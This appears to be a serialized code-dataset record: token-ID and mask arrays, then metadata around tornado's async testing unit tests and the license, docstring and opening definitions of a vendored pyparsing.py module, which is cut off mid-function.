63,
21906,
63,
4757,
8,
1160,
26,
620,
12,
2256,
26,
10332,
9,
1035,
488,
26,
272,
408,
5375,
12082,
9149,
1041,
272,
666,
275,
7126,
59,
1160,
61,
339,
870,
342,
272,
870,
480,
30948,
538,
531,
272,
870,
342,
272,
870,
342,
272,
870,
8,
70,
14381,
576,
459,
1213,
12074,
1233,
965,
2757,
4046,
531,
272,
870,
342,
272,
340,
2256,
14,
1725,
63,
3270,
26,
267,
870,
480,
20201,
314,
2569,
1584,
9107,
267,
367,
570,
315,
2256,
14,
1725,
63,
3270,
26,
288,
870,
8,
70,
32095,
469,
493,
15412,
267,
870,
342,
339,
340,
2256,
14,
2219,
63,
3270,
26,
267,
870,
480,
20201,
314,
2569,
2295,
9107,
267,
367,
570,
315,
2256,
14,
2219,
63,
3270,
26,
288,
870,
8,
70,
32095,
469,
493,
15412,
267,
870,
342,
339,
340,
2256,
14,
8589,
63,
3270,
26,
267,
870,
8,
288,
298,
3655,
2651,
2005,
1584,
2575,
30482,
12,
781,
3483,
314,
2569,
2893,
1584,
14,
7754,
1331,
314,
12082,
1233,
370,
314,
3411,
1584,
2122,
267,
776,
267,
367,
570,
315,
2256,
14,
8589,
63,
3270,
26,
288,
870,
8,
70,
32095,
469,
493,
15412,
267,
870,
342,
339,
870,
8,
267,
298,
1918,
2163,
3650,
365,
370,
3648,
737,
314,
1584,
436,
7962,
543,
1006,
787,
305,
11584,
465,
3254,
2122,
272,
776,
339,
340,
298,
2911,
2,
315,
666,
26,
267,
870,
342,
267,
870,
8,
576,
905,
2911,
3135,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |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0
] |
jparise/tornado
|
tornado/test/testing_test.py
|
144
|
7361
|
#!/usr/bin/env python
from __future__ import absolute_import, division, print_function, with_statement
from tornado import gen, ioloop
from tornado.log import app_log
from tornado.testing import AsyncTestCase, gen_test, ExpectLog
from tornado.test.util import unittest
import contextlib
import os
import traceback
@contextlib.contextmanager
def set_environ(name, value):
old_value = os.environ.get(name)
os.environ[name] = value
try:
yield
finally:
if old_value is None:
del os.environ[name]
else:
os.environ[name] = old_value
class AsyncTestCaseTest(AsyncTestCase):
def test_exception_in_callback(self):
self.io_loop.add_callback(lambda: 1 / 0)
try:
self.wait()
self.fail("did not get expected exception")
except ZeroDivisionError:
pass
def test_wait_timeout(self):
time = self.io_loop.time
# Accept default 5-second timeout, no error
self.io_loop.add_timeout(time() + 0.01, self.stop)
self.wait()
# Timeout passed to wait()
self.io_loop.add_timeout(time() + 1, self.stop)
with self.assertRaises(self.failureException):
self.wait(timeout=0.01)
# Timeout set with environment variable
self.io_loop.add_timeout(time() + 1, self.stop)
with set_environ('ASYNC_TEST_TIMEOUT', '0.01'):
with self.assertRaises(self.failureException):
self.wait()
def test_subsequent_wait_calls(self):
"""
This test makes sure that a second call to wait()
clears the first timeout.
"""
self.io_loop.add_timeout(self.io_loop.time() + 0.01, self.stop)
self.wait(timeout=0.02)
self.io_loop.add_timeout(self.io_loop.time() + 0.03, self.stop)
self.wait(timeout=0.15)
def test_multiple_errors(self):
def fail(message):
raise Exception(message)
self.io_loop.add_callback(lambda: fail("error one"))
self.io_loop.add_callback(lambda: fail("error two"))
# The first error gets raised; the second gets logged.
with ExpectLog(app_log, "multiple unhandled exceptions"):
with self.assertRaises(Exception) as cm:
self.wait()
self.assertEqual(str(cm.exception), "error one")
class AsyncTestCaseWrapperTest(unittest.TestCase):
def test_undecorated_generator(self):
class Test(AsyncTestCase):
def test_gen(self):
yield
test = Test('test_gen')
result = unittest.TestResult()
test.run(result)
self.assertEqual(len(result.errors), 1)
self.assertIn("should be decorated", result.errors[0][1])
def test_undecorated_generator_with_skip(self):
class Test(AsyncTestCase):
@unittest.skip("don't run this")
def test_gen(self):
yield
test = Test('test_gen')
result = unittest.TestResult()
test.run(result)
self.assertEqual(len(result.errors), 0)
self.assertEqual(len(result.skipped), 1)
def test_other_return(self):
class Test(AsyncTestCase):
def test_other_return(self):
return 42
test = Test('test_other_return')
result = unittest.TestResult()
test.run(result)
self.assertEqual(len(result.errors), 1)
self.assertIn("Return value from test method ignored", result.errors[0][1])
class SetUpTearDownTest(unittest.TestCase):
def test_set_up_tear_down(self):
"""
This test makes sure that AsyncTestCase calls super methods for
setUp and tearDown.
InheritBoth is a subclass of both AsyncTestCase and
SetUpTearDown, with the ordering so that the super of
AsyncTestCase will be SetUpTearDown.
"""
events = []
result = unittest.TestResult()
class SetUpTearDown(unittest.TestCase):
def setUp(self):
events.append('setUp')
def tearDown(self):
events.append('tearDown')
class InheritBoth(AsyncTestCase, SetUpTearDown):
def test(self):
events.append('test')
InheritBoth('test').run(result)
expected = ['setUp', 'test', 'tearDown']
self.assertEqual(expected, events)
class GenTest(AsyncTestCase):
def setUp(self):
super(GenTest, self).setUp()
self.finished = False
def tearDown(self):
self.assertTrue(self.finished)
super(GenTest, self).tearDown()
@gen_test
def test_sync(self):
self.finished = True
@gen_test
def test_async(self):
yield gen.Task(self.io_loop.add_callback)
self.finished = True
def test_timeout(self):
# Set a short timeout and exceed it.
@gen_test(timeout=0.1)
def test(self):
yield gen.Task(self.io_loop.add_timeout, self.io_loop.time() + 1)
# This can't use assertRaises because we need to inspect the
# exc_info triple (and not just the exception object)
try:
test(self)
self.fail("did not get expected exception")
except ioloop.TimeoutError:
# The stack trace should blame the add_timeout line, not just
# unrelated IOLoop/testing internals.
self.assertIn(
"gen.Task(self.io_loop.add_timeout, self.io_loop.time() + 1)",
traceback.format_exc())
self.finished = True
def test_no_timeout(self):
# A test that does not exceed its timeout should succeed.
@gen_test(timeout=1)
def test(self):
time = self.io_loop.time
yield gen.Task(self.io_loop.add_timeout, time() + 0.1)
test(self)
self.finished = True
def test_timeout_environment_variable(self):
@gen_test(timeout=0.5)
def test_long_timeout(self):
time = self.io_loop.time
yield gen.Task(self.io_loop.add_timeout, time() + 0.25)
# Uses provided timeout of 0.5 seconds, doesn't time out.
with set_environ('ASYNC_TEST_TIMEOUT', '0.1'):
test_long_timeout(self)
self.finished = True
def test_no_timeout_environment_variable(self):
@gen_test(timeout=0.01)
def test_short_timeout(self):
time = self.io_loop.time
yield gen.Task(self.io_loop.add_timeout, time() + 1)
# Uses environment-variable timeout of 0.1, times out.
with set_environ('ASYNC_TEST_TIMEOUT', '0.1'):
with self.assertRaises(ioloop.TimeoutError):
test_short_timeout(self)
self.finished = True
def test_with_method_args(self):
@gen_test
def test_with_args(self, *args):
self.assertEqual(args, ('test',))
yield gen.Task(self.io_loop.add_callback)
test_with_args(self, 'test')
self.finished = True
def test_with_method_kwargs(self):
@gen_test
def test_with_kwargs(self, **kwargs):
self.assertDictEqual(kwargs, {'test': 'test'})
yield gen.Task(self.io_loop.add_callback)
test_with_kwargs(self, test='test')
self.finished = True
if __name__ == '__main__':
unittest.main()
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
12,
543,
63,
6242,
199,
199,
504,
12148,
492,
3805,
12,
5890,
3813,
199,
504,
12148,
14,
793,
492,
1145,
63,
793,
199,
504,
12148,
14,
4776,
492,
15223,
1746,
12,
3805,
63,
396,
12,
15100,
2445,
199,
504,
12148,
14,
396,
14,
1974,
492,
2882,
199,
199,
646,
15502,
199,
646,
747,
199,
646,
5190,
421,
199,
32,
23464,
14,
14237,
199,
318,
663,
63,
2314,
8,
354,
12,
574,
304,
272,
2269,
63,
585,
275,
747,
14,
2314,
14,
362,
8,
354,
9,
272,
747,
14,
2314,
59,
354,
61,
275,
574,
339,
862,
26,
267,
1995,
272,
3753,
26,
267,
340,
2269,
63,
585,
365,
488,
26,
288,
2150,
747,
14,
2314,
59,
354,
61,
267,
587,
26,
288,
747,
14,
2314,
59,
354,
61,
275,
2269,
63,
585,
421,
199,
533,
15223,
1746,
774,
8,
12807,
1746,
304,
272,
347,
511,
63,
1971,
63,
262,
63,
3058,
8,
277,
304,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
3058,
8,
2734,
26,
413,
1182,
378,
9,
267,
862,
26,
288,
291,
14,
2573,
342,
288,
291,
14,
1633,
480,
14887,
440,
664,
1420,
1919,
531,
267,
871,
25838,
26,
288,
986,
339,
347,
511,
63,
2573,
63,
2593,
8,
277,
304,
267,
900,
275,
291,
14,
2308,
63,
3813,
14,
521,
398,
327,
15506,
849,
959,
13,
4375,
2653,
12,
949,
1125,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
521,
342,
435,
378,
14,
614,
12,
291,
14,
2379,
9,
267,
291,
14,
2573,
342,
398,
327,
12878,
3032,
370,
3618,
342,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
521,
342,
435,
413,
12,
291,
14,
2379,
9,
267,
543,
291,
14,
1855,
8,
277,
14,
15935,
304,
288,
291,
14,
2573,
8,
2593,
29,
16,
14,
614,
9,
398,
327,
12878,
663,
543,
3734,
1750,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
521,
342,
435,
413,
12,
291,
14,
2379,
9,
267,
543,
663,
63,
2314,
360,
26222,
6389,
63,
2864,
63,
8899,
297,
283,
16,
14,
614,
735,
288,
543,
291,
14,
1855,
8,
277,
14,
15935,
304,
355,
291,
14,
2573,
342,
339,
347,
511,
63,
954,
11277,
63,
2573,
63,
5352,
8,
277,
304,
267,
408,
267,
961,
511,
7704,
3238,
626,
282,
3499,
1240,
370,
3618,
342,
267,
5436,
83,
314,
1642,
2653,
14,
267,
408,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
277,
14,
2308,
63,
3813,
14,
521,
342,
435,
378,
14,
614,
12,
291,
14,
2379,
9,
267,
291,
14,
2573,
8,
2593,
29,
16,
14,
996,
9,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
277,
14,
2308,
63,
3813,
14,
521,
342,
435,
378,
14,
1644,
12,
291,
14,
2379,
9,
267,
291,
14,
2573,
8,
2593,
29,
16,
14,
1046,
9,
339,
347,
511,
63,
6048,
63,
2550,
8,
277,
304,
267,
347,
2449,
8,
1188,
304,
288,
746,
2186,
8,
1188,
9,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
3058,
8,
2734,
26,
2449,
480,
705,
1373,
2237,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
3058,
8,
2734,
26,
2449,
480,
705,
2877,
2237,
267,
327,
710,
1642,
1125,
7545,
4915,
27,
314,
3499,
7545,
10367,
14,
267,
543,
15100,
2445,
8,
571,
63,
793,
12,
298,
6048,
23090,
4967,
2349,
288,
543,
291,
14,
1855,
8,
1726,
9,
465,
6904,
26,
355,
291,
14,
2573,
342,
267,
291,
14,
629,
8,
495,
8,
4400,
14,
1971,
395,
298,
705,
1373,
531,
421,
199,
533,
15223,
1746,
4590,
774,
8,
2796,
14,
1746,
304,
272,
347,
511,
63,
324,
29299,
63,
4679,
8,
277,
304,
267,
1021,
1379,
8,
12807,
1746,
304,
288,
347,
511,
63,
2268,
8,
277,
304,
355,
1995,
267,
511,
275,
1379,
360,
396,
63,
2268,
358,
267,
754,
275,
2882,
14,
13120,
342,
267,
511,
14,
1065,
8,
1099,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
2550,
395,
413,
9,
267,
291,
14,
4080,
480,
5626,
506,
16225,
401,
754,
14,
2550,
59,
16,
1527,
17,
566,
339,
347,
511,
63,
324,
29299,
63,
4679,
63,
1045,
63,
2759,
8,
277,
304,
267,
1021,
1379,
8,
12807,
1746,
304,
288,
768,
2796,
14,
2759,
480,
13196,
1133,
1255,
642,
531,
288,
347,
511,
63,
2268,
8,
277,
304,
355,
1995,
267,
511,
275,
1379,
360,
396,
63,
2268,
358,
267,
754,
275,
2882,
14,
13120,
342,
267,
511,
14,
1065,
8,
1099,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
2550,
395,
378,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
11962,
395,
413,
9,
339,
347,
511,
63,
1848,
63,
1107,
8,
277,
304,
267,
1021,
1379,
8,
12807,
1746,
304,
288,
347,
511,
63,
1848,
63,
1107,
8,
277,
304,
355,
372,
5685,
267,
511,
275,
1379,
360,
396,
63,
1848,
63,
1107,
358,
267,
754,
275,
2882,
14,
13120,
342,
267,
511,
14,
1065,
8,
1099,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
2550,
395,
413,
9,
267,
291,
14,
4080,
480,
1767,
574,
687,
511,
1083,
5525,
401,
754,
14,
2550,
59,
16,
1527,
17,
566,
421,
199,
533,
2494,
1721,
30711,
774,
8,
2796,
14,
1746,
304,
272,
347,
511,
63,
409,
63,
384,
63,
266,
285,
63,
2110,
8,
277,
304,
267,
408,
267,
961,
511,
7704,
3238,
626,
15223,
1746,
4882,
1613,
3102,
367,
267,
3613,
436,
6766,
14,
398,
27502,
18088,
365,
282,
5516,
402,
3865,
15223,
1746,
436,
267,
2494,
1721,
30711,
12,
543,
314,
7794,
880,
626,
314,
1613,
402,
267,
15223,
1746,
911,
506,
2494,
1721,
30711,
14,
267,
408,
267,
4474,
275,
942,
267,
754,
275,
2882,
14,
13120,
342,
398,
1021,
2494,
1721,
30711,
8,
2796,
14,
1746,
304,
288,
347,
3613,
8,
277,
304,
355,
4474,
14,
740,
360,
5996,
358,
953,
347,
6766,
8,
277,
304,
355,
4474,
14,
740,
360,
12336,
358,
398,
1021,
27502,
18088,
8,
12807,
1746,
12
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
12,
543,
63,
6242,
199,
199,
504,
12148,
492,
3805,
12,
5890,
3813,
199,
504,
12148,
14,
793,
492,
1145,
63,
793,
199,
504,
12148,
14,
4776,
492,
15223,
1746,
12,
3805,
63,
396,
12,
15100,
2445,
199,
504,
12148,
14,
396,
14,
1974,
492,
2882,
199,
199,
646,
15502,
199,
646,
747,
199,
646,
5190,
421,
199,
32,
23464,
14,
14237,
199,
318,
663,
63,
2314,
8,
354,
12,
574,
304,
272,
2269,
63,
585,
275,
747,
14,
2314,
14,
362,
8,
354,
9,
272,
747,
14,
2314,
59,
354,
61,
275,
574,
339,
862,
26,
267,
1995,
272,
3753,
26,
267,
340,
2269,
63,
585,
365,
488,
26,
288,
2150,
747,
14,
2314,
59,
354,
61,
267,
587,
26,
288,
747,
14,
2314,
59,
354,
61,
275,
2269,
63,
585,
421,
199,
533,
15223,
1746,
774,
8,
12807,
1746,
304,
272,
347,
511,
63,
1971,
63,
262,
63,
3058,
8,
277,
304,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
3058,
8,
2734,
26,
413,
1182,
378,
9,
267,
862,
26,
288,
291,
14,
2573,
342,
288,
291,
14,
1633,
480,
14887,
440,
664,
1420,
1919,
531,
267,
871,
25838,
26,
288,
986,
339,
347,
511,
63,
2573,
63,
2593,
8,
277,
304,
267,
900,
275,
291,
14,
2308,
63,
3813,
14,
521,
398,
327,
15506,
849,
959,
13,
4375,
2653,
12,
949,
1125,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
521,
342,
435,
378,
14,
614,
12,
291,
14,
2379,
9,
267,
291,
14,
2573,
342,
398,
327,
12878,
3032,
370,
3618,
342,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
521,
342,
435,
413,
12,
291,
14,
2379,
9,
267,
543,
291,
14,
1855,
8,
277,
14,
15935,
304,
288,
291,
14,
2573,
8,
2593,
29,
16,
14,
614,
9,
398,
327,
12878,
663,
543,
3734,
1750,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
521,
342,
435,
413,
12,
291,
14,
2379,
9,
267,
543,
663,
63,
2314,
360,
26222,
6389,
63,
2864,
63,
8899,
297,
283,
16,
14,
614,
735,
288,
543,
291,
14,
1855,
8,
277,
14,
15935,
304,
355,
291,
14,
2573,
342,
339,
347,
511,
63,
954,
11277,
63,
2573,
63,
5352,
8,
277,
304,
267,
408,
267,
961,
511,
7704,
3238,
626,
282,
3499,
1240,
370,
3618,
342,
267,
5436,
83,
314,
1642,
2653,
14,
267,
408,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
277,
14,
2308,
63,
3813,
14,
521,
342,
435,
378,
14,
614,
12,
291,
14,
2379,
9,
267,
291,
14,
2573,
8,
2593,
29,
16,
14,
996,
9,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
2593,
8,
277,
14,
2308,
63,
3813,
14,
521,
342,
435,
378,
14,
1644,
12,
291,
14,
2379,
9,
267,
291,
14,
2573,
8,
2593,
29,
16,
14,
1046,
9,
339,
347,
511,
63,
6048,
63,
2550,
8,
277,
304,
267,
347,
2449,
8,
1188,
304,
288,
746,
2186,
8,
1188,
9,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
3058,
8,
2734,
26,
2449,
480,
705,
1373,
2237,
267,
291,
14,
2308,
63,
3813,
14,
525,
63,
3058,
8,
2734,
26,
2449,
480,
705,
2877,
2237,
267,
327,
710,
1642,
1125,
7545,
4915,
27,
314,
3499,
7545,
10367,
14,
267,
543,
15100,
2445,
8,
571,
63,
793,
12,
298,
6048,
23090,
4967,
2349,
288,
543,
291,
14,
1855,
8,
1726,
9,
465,
6904,
26,
355,
291,
14,
2573,
342,
267,
291,
14,
629,
8,
495,
8,
4400,
14,
1971,
395,
298,
705,
1373,
531,
421,
199,
533,
15223,
1746,
4590,
774,
8,
2796,
14,
1746,
304,
272,
347,
511,
63,
324,
29299,
63,
4679,
8,
277,
304,
267,
1021,
1379,
8,
12807,
1746,
304,
288,
347,
511,
63,
2268,
8,
277,
304,
355,
1995,
267,
511,
275,
1379,
360,
396,
63,
2268,
358,
267,
754,
275,
2882,
14,
13120,
342,
267,
511,
14,
1065,
8,
1099,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
2550,
395,
413,
9,
267,
291,
14,
4080,
480,
5626,
506,
16225,
401,
754,
14,
2550,
59,
16,
1527,
17,
566,
339,
347,
511,
63,
324,
29299,
63,
4679,
63,
1045,
63,
2759,
8,
277,
304,
267,
1021,
1379,
8,
12807,
1746,
304,
288,
768,
2796,
14,
2759,
480,
13196,
1133,
1255,
642,
531,
288,
347,
511,
63,
2268,
8,
277,
304,
355,
1995,
267,
511,
275,
1379,
360,
396,
63,
2268,
358,
267,
754,
275,
2882,
14,
13120,
342,
267,
511,
14,
1065,
8,
1099,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
2550,
395,
378,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
11962,
395,
413,
9,
339,
347,
511,
63,
1848,
63,
1107,
8,
277,
304,
267,
1021,
1379,
8,
12807,
1746,
304,
288,
347,
511,
63,
1848,
63,
1107,
8,
277,
304,
355,
372,
5685,
267,
511,
275,
1379,
360,
396,
63,
1848,
63,
1107,
358,
267,
754,
275,
2882,
14,
13120,
342,
267,
511,
14,
1065,
8,
1099,
9,
267,
291,
14,
629,
8,
552,
8,
1099,
14,
2550,
395,
413,
9,
267,
291,
14,
4080,
480,
1767,
574,
687,
511,
1083,
5525,
401,
754,
14,
2550,
59,
16,
1527,
17,
566,
421,
199,
533,
2494,
1721,
30711,
774,
8,
2796,
14,
1746,
304,
272,
347,
511,
63,
409,
63,
384,
63,
266,
285,
63,
2110,
8,
277,
304,
267,
408,
267,
961,
511,
7704,
3238,
626,
15223,
1746,
4882,
1613,
3102,
367,
267,
3613,
436,
6766,
14,
398,
27502,
18088,
365,
282,
5516,
402,
3865,
15223,
1746,
436,
267,
2494,
1721,
30711,
12,
543,
314,
7794,
880,
626,
314,
1613,
402,
267,
15223,
1746,
911,
506,
2494,
1721,
30711,
14,
267,
408,
267,
4474,
275,
942,
267,
754,
275,
2882,
14,
13120,
342,
398,
1021,
2494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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
kushalbhola/MyStuff
|
venv/Lib/site-packages/setuptools/_vendor/pyparsing.py
|
417
|
224171
|
# module pyparsing.py
#
# Copyright (c) 2003-2016 Paul T. McGuire
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
__doc__ = \
"""
pyparsing module - Classes and methods to define and execute parsing grammars
The pyparsing module is an alternative approach to creating and executing simple grammars,
vs. the traditional lex/yacc approach, or the use of regular expressions. With pyparsing, you
don't need to learn a new syntax for defining grammars or matching expressions - the parsing module
provides a library of classes that you use to construct the grammar directly in Python.
Here is a program to parse "Hello, World!" (or any greeting of the form
C{"<salutation>, <addressee>!"}), built up using L{Word}, L{Literal}, and L{And} elements
(L{'+'<ParserElement.__add__>} operator gives L{And} expressions, strings are auto-converted to
L{Literal} expressions)::
from pyparsing import Word, alphas
# define grammar of a greeting
greet = Word(alphas) + "," + Word(alphas) + "!"
hello = "Hello, World!"
print (hello, "->", greet.parseString(hello))
The program outputs the following::
Hello, World! -> ['Hello', ',', 'World', '!']
The Python representation of the grammar is quite readable, owing to the self-explanatory
class names, and the use of '+', '|' and '^' operators.
The L{ParseResults} object returned from L{ParserElement.parseString<ParserElement.parseString>} can be accessed as a nested list, a dictionary, or an
object with named attributes.
The pyparsing module handles some of the problems that are typically vexing when writing text parsers:
- extra or missing whitespace (the above program will also handle "Hello,World!", "Hello , World !", etc.)
- quoted strings
- embedded comments
"""
__version__ = "2.1.10"
__versionTime__ = "07 Oct 2016 01:31 UTC"
__author__ = "Paul McGuire <ptmcg@users.sourceforge.net>"
import string
from weakref import ref as wkref
import copy
import sys
import warnings
import re
import sre_constants
import collections
import pprint
import traceback
import types
from datetime import datetime
try:
from _thread import RLock
except ImportError:
from threading import RLock
try:
from collections import OrderedDict as _OrderedDict
except ImportError:
try:
from ordereddict import OrderedDict as _OrderedDict
except ImportError:
_OrderedDict = None
#~ sys.stderr.write( "testing pyparsing module, version %s, %s\n" % (__version__,__versionTime__ ) )
__all__ = [
'And', 'CaselessKeyword', 'CaselessLiteral', 'CharsNotIn', 'Combine', 'Dict', 'Each', 'Empty',
'FollowedBy', 'Forward', 'GoToColumn', 'Group', 'Keyword', 'LineEnd', 'LineStart', 'Literal',
'MatchFirst', 'NoMatch', 'NotAny', 'OneOrMore', 'OnlyOnce', 'Optional', 'Or',
'ParseBaseException', 'ParseElementEnhance', 'ParseException', 'ParseExpression', 'ParseFatalException',
'ParseResults', 'ParseSyntaxException', 'ParserElement', 'QuotedString', 'RecursiveGrammarException',
'Regex', 'SkipTo', 'StringEnd', 'StringStart', 'Suppress', 'Token', 'TokenConverter',
'White', 'Word', 'WordEnd', 'WordStart', 'ZeroOrMore',
'alphanums', 'alphas', 'alphas8bit', 'anyCloseTag', 'anyOpenTag', 'cStyleComment', 'col',
'commaSeparatedList', 'commonHTMLEntity', 'countedArray', 'cppStyleComment', 'dblQuotedString',
'dblSlashComment', 'delimitedList', 'dictOf', 'downcaseTokens', 'empty', 'hexnums',
'htmlComment', 'javaStyleComment', 'line', 'lineEnd', 'lineStart', 'lineno',
'makeHTMLTags', 'makeXMLTags', 'matchOnlyAtCol', 'matchPreviousExpr', 'matchPreviousLiteral',
'nestedExpr', 'nullDebugAction', 'nums', 'oneOf', 'opAssoc', 'operatorPrecedence', 'printables',
'punc8bit', 'pythonStyleComment', 'quotedString', 'removeQuotes', 'replaceHTMLEntity',
'replaceWith', 'restOfLine', 'sglQuotedString', 'srange', 'stringEnd',
'stringStart', 'traceParseAction', 'unicodeString', 'upcaseTokens', 'withAttribute',
'indentedBlock', 'originalTextFor', 'ungroup', 'infixNotation','locatedExpr', 'withClass',
'CloseMatch', 'tokenMap', 'pyparsing_common',
]
system_version = tuple(sys.version_info)[:3]
PY_3 = system_version[0] == 3
if PY_3:
_MAX_INT = sys.maxsize
basestring = str
unichr = chr
_ustr = str
# build list of single arg builtins, that can be used as parse actions
singleArgBuiltins = [sum, len, sorted, reversed, list, tuple, set, any, all, min, max]
else:
_MAX_INT = sys.maxint
range = xrange
def _ustr(obj):
"""Drop-in replacement for str(obj) that tries to be Unicode friendly. It first tries
str(obj). If that fails with a UnicodeEncodeError, then it tries unicode(obj). It
then < returns the unicode object | encodes it with the default encoding | ... >.
"""
if isinstance(obj,unicode):
return obj
try:
# If this works, then _ustr(obj) has the same behaviour as str(obj), so
# it won't break any existing code.
return str(obj)
except UnicodeEncodeError:
# Else encode it
ret = unicode(obj).encode(sys.getdefaultencoding(), 'xmlcharrefreplace')
xmlcharref = Regex('&#\d+;')
xmlcharref.setParseAction(lambda t: '\\u' + hex(int(t[0][2:-1]))[2:])
return xmlcharref.transformString(ret)
# build list of single arg builtins, tolerant of Python version, that can be used as parse actions
singleArgBuiltins = []
import __builtin__
for fname in "sum len sorted reversed list tuple set any all min max".split():
try:
singleArgBuiltins.append(getattr(__builtin__,fname))
except AttributeError:
continue
_generatorType = type((y for y in range(1)))
def _xml_escape(data):
"""Escape &, <, >, ", ', etc. in a string of data."""
# ampersand must be replaced first
from_symbols = '&><"\''
to_symbols = ('&'+s+';' for s in "amp gt lt quot apos".split())
for from_,to_ in zip(from_symbols, to_symbols):
data = data.replace(from_, to_)
return data
class _Constants(object):
pass
alphas = string.ascii_uppercase + string.ascii_lowercase
nums = "0123456789"
hexnums = nums + "ABCDEFabcdef"
alphanums = alphas + nums
_bslash = chr(92)
printables = "".join(c for c in string.printable if c not in string.whitespace)
class ParseBaseException(Exception):
"""base exception class for all parsing runtime exceptions"""
# Performance tuning: we construct a *lot* of these, so keep this
# constructor as small and fast as possible
def __init__( self, pstr, loc=0, msg=None, elem=None ):
self.loc = loc
if msg is None:
self.msg = pstr
self.pstr = ""
else:
self.msg = msg
self.pstr = pstr
self.parserElement = elem
self.args = (pstr, loc, msg)
@classmethod
def _from_exception(cls, pe):
"""
internal factory method to simplify creating one type of ParseException
from another - avoids having __init__ signature conflicts among subclasses
"""
return cls(pe.pstr, pe.loc, pe.msg, pe.parserElement)
def __getattr__( self, aname ):
"""supported attributes by name are:
- lineno - returns the line number of the exception text
- col - returns the column number of the exception text
- line - returns the line containing the exception text
"""
if( aname == "lineno" ):
return lineno( self.loc, self.pstr )
elif( aname in ("col", "column") ):
return col( self.loc, self.pstr )
elif( aname == "line" ):
return line( self.loc, self.pstr )
else:
raise AttributeError(aname)
def __str__( self ):
return "%s (at char %d), (line:%d, col:%d)" % \
( self.msg, self.loc, self.lineno, self.column )
def __repr__( self ):
return _ustr(self)
def markInputline( self, markerString = ">!<" ):
"""Extracts the exception line from the input string, and marks
the location of the exception with a special symbol.
"""
line_str = self.line
